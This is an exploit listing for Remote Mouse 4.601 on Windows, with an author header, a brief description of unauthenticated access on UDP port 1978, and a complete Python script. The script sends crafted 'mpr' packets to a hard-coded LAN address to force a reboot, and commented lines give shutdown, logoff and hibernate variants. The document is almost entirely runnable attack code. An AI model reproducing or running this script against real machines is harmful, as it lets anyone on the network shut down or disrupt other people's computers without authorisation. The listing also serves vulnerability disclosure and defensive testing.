📄 Remote Mouse 4.601 Unauthenticated Remote System Control

# Exploit Title: Remote Mouse 4.601 - Remote Power Control
    (Shutdown/Reboot/Logoff)
    # Date: 14/07/2025
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://www.remotemouse.net
    # Software Link: https://www.remotemouse.net/downloads
    # Version: 4.601 (Windows)
    # Tested on: Windows 10 / Windows 11
    # CVE: Pending
    
    '''
    Description:
    
    Remote Mouse 4.601 for Windows is vulnerable to unauthenticated remote
    power control due to improper access controls on UDP port 1978. An attacker
    on the same network can send specially crafted packets to force shutdown,
    restart, or log off the target system without authentication.
    
    '''
    
    
    import socket
    import time
    
    def send_udp(payload, ip, port=1978):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(payload.encode(), (ip, port))
    
        sock.close()
    
    def build_payload(prefix, command):
        return f"{prefix}{len(command):03d}{command}"
    
    def exploit(ip):
    
        send_udp(build_payload("mpr", "1"), ip)  # Reboot (1 = -r -t 0)
       # send_udp(build_payload("mpr", "2"), ip)  # Shutdown (2 = -s -t 0)
       # send_udp(build_payload("mpr", "3"), ip)  # Log off (3 = -l)
       # send_udp(build_payload("mpr", "4"), ip)  # Hibernate (4 = -h)
        time.sleep(2)
    
    
    
    if __name__ == "__main__":
        TARGET_IP = "192.168.1.152"
        exploit(TARGET_IP)